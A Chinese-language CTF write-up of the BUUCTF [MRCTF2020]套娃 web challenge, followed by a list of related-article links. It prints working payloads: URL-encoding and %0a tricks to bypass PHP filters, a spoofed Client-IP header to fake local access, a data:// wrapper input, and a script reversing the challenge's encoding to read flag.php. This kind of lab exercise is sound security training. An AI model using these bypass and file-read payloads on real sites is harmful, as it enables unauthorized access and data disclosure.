【BUUCTF】[MRCTF2020]套娃
思考
题目是套娃,感觉应该是一环一环的走下去,每个问题应该不是很难,按着他的提示做吧。
知识点
- substr_count(),用空格或者.或者大写的url编码
- preg_mach(),%0a绕过
- 本地访问,XFF或者client-ip
刷题
刷题的时候,习惯先查看robots.txt是否有敏感信息,然后查看源码。如果这个时候,都没有尝试爆目录了。
查看robots.txt无信息,查看源码。
$_SERVER['QUERY_STRING']的作用是将传入的参数和值提取出去,比如这里传入?b_u_p_t=2333,那么$query=“b_u_p_t=2333”
substr_count函数的作用是查看后面个字符,在前面一个字符串中出现的次数。%5f的url_decode后是“——”
用“.”或者空格代替_。这个函数区分大小写还可以用%5F绕过。
preg_match的绕过可以在末尾加上%0a
payload:
?b u p t=23333%0a
?b.u.p.t=23333%0a
?b%5Fu%5Fp%5Ft=23333%0a
执行后,会来到如下界面
看到“Local access only”,我感觉是用X-Forwarded-For:127.0.0.1来绕过,但是绕过不过。看来wp后,用client-ip:127.0.0.1绕过。
第二行的说“你没有权限”,我感觉应该有一个权限的标识或参数,burp抓包后,并没有看见一个可以修改的参数。那就应该是哪里藏着一个参数。
查看源码后,如图 []那堆是jsfuck。
复制到console中执行,弹出 post me Merak。意思请求方法得改为post,同时参数名是Merak
bp修改方法为post,同时添加参数,并执行,结果如图
<?php
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';if(isset($_POST['Merak'])){ highlight_file(__FILE__); die();
} function change($v){ $v = base64_decode($v); $re = ''; for($i=0;$i<strlen($v);$i++){ $re .= chr ( ord ($v[$i]) + $i*2 ); } return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>
源码如下,获得flag的要求
1、ip为127.0.0.1
2、get请求2333的值为today is a happy day
3、get请求的file值经过change函数的变化后,认为flag.php第一个要求:
client-ip:127.0.0.1
第二个要求:
用php的data协议,网上一些用input协议,尝试了没成功
?2333=data://txt/plain,today+is+a+happy+day
第三个要求:
我们写一个脚本,反向运行就行了。python在线运行网站
http://python.jsrun.net/
import base64flag='flag.php'
re=''
j=0
for i in flag:re+=chr(ord(i)-j*2)j+=1
print base64.b64encode(re.encode())
最后payload
在请求头中:client-ip:127.0.0.1
/secrettw.php?2333=data://text/plain,todat+is+a+happy+day&file=ZmpdYSZmXGI%3D
【BUUCTF】[MRCTF2020]套娃相关推荐
- BUUCTF [MRCTF2020]套娃
BUUCTF [MRCTF2020]套娃 打开链接,查看源码,如图所示 关于$_SERVER['QUERY_STRING']取值, 例如: http://localhost/aaa/?p=222 $_ ...
- [MRCTF2020]套娃
[MRCTF2020]套娃 打开网页,没有发现什么特别的,按F12打开开发者工具,查看源代码,发现注释: <!-- //1st $query = $_SERVER['QUERY_STRING'] ...
- BUUCTF [GXYCTF2019] 禁止套娃
题目分析 这题对我这个小白来说好难理解,慢慢补坑吧.PHP很多常用的函数都不是很了解,命令执行也是呜呜呜感觉学得还不是很精通. 打开题目,只有如下: 看源码也没有什么东西,常见的信息泄露:robots ...
- 套娃成功!在《我的世界》里运行Win95、玩游戏,软件和教程现已公开
晓查 发自 凹非寺 量子位 报道 | 公众号 QbitAI <我的世界>(MineCraft)真是一款高自由度的神奇游戏,几乎每隔几天都会有大神用它实现一些奇妙的创意. 最近有一个叫uD ...
- github访问不了_用ssh套娃翻到大陆公网给校园内网服务器装R包以及使用GitHub
碎碎念... 某学校的服务器装R包真把我搞吐了! 最近我用的学校某计算服务器平台除了ssh登录,竟然连curl www.baidu.com都给封了,离谱 好,既然你给我留ssh还让我用,那我就用ssh ...
- 7.20套娃(tao)
套娃(tao) input 7 3 9 5 3 7 10 6 5 10 2 6 10 10 4 1 10 5 3 5 3 9 output 0 1 2 sol: 把查询想象成(x1,y1)向(x2,y ...
- Tomcat - Tomcat套娃式架构与配置文件的对应关系解读
文章目录 套娃式架构 套娃架构之配置文件 server.xml 套娃式架构 看看上面的整体架构图 server-service-----connector/container-----engine-- ...
- Tomcat - Tomcat的套娃式架构设计初探
文章目录 Tomcat的主要功能 Tomcat的架构初探 Connector 组件 -Coyote Coyote的组成 Container 组件 -Catalina Catalina 的组成 serv ...
- 禁止套娃!Redis官网宕机,返回“连接不上Redis”
点击上方 好好学java ,选择 星标 公众号 重磅资讯.干货,第一时间送达 今日推荐:Spring Boot + Vue 如此强大?竟然可以开发基于 C/S 架构的应用个人原创+1博客:点击前往,查 ...
最新文章
- 【jQuery】如何用jQuery实现鼠标移入后改变背景颜色
- 使用wsimport生成本地调用代码
- NSRunLoop详解
- php和python对比-python与java、php、go的优势对比
- Collections.toMap 报错 空指针 key重复
- 20应用统计考研复试要点(part41)--概率论与数理统计
- MySQL timediff()函数
- 高阶函数 实现sum(2)(3) 柯里化
- 腐蚀单机怎么进_暖气片堵塞是什么原因?要怎么解决呢?
- 二叉树相关知识及求深度的代码实现
- 搞懂 Java HashMap 源码
- html 为元素附空值,HTML空(void)元素有哪些?
- 8255工作方式2——双向选通输入输出(A口)
- linux学习笔记:磁盘挂载与卸载命令
- php 字符串过滤指定字符,php字符串过滤与替换小结
- linux连接无线网络配置详解
- 一篇走心的文章和一个不起眼的引流方法
- 认识压电式雨量传感器的工作原理及MODBUS-RTU RS485通信协议
- 3阶差分方程在有重根下的一般计算公式的推导
- 《缠中说禅108课》2:没有庄家,有的只是赢家和输家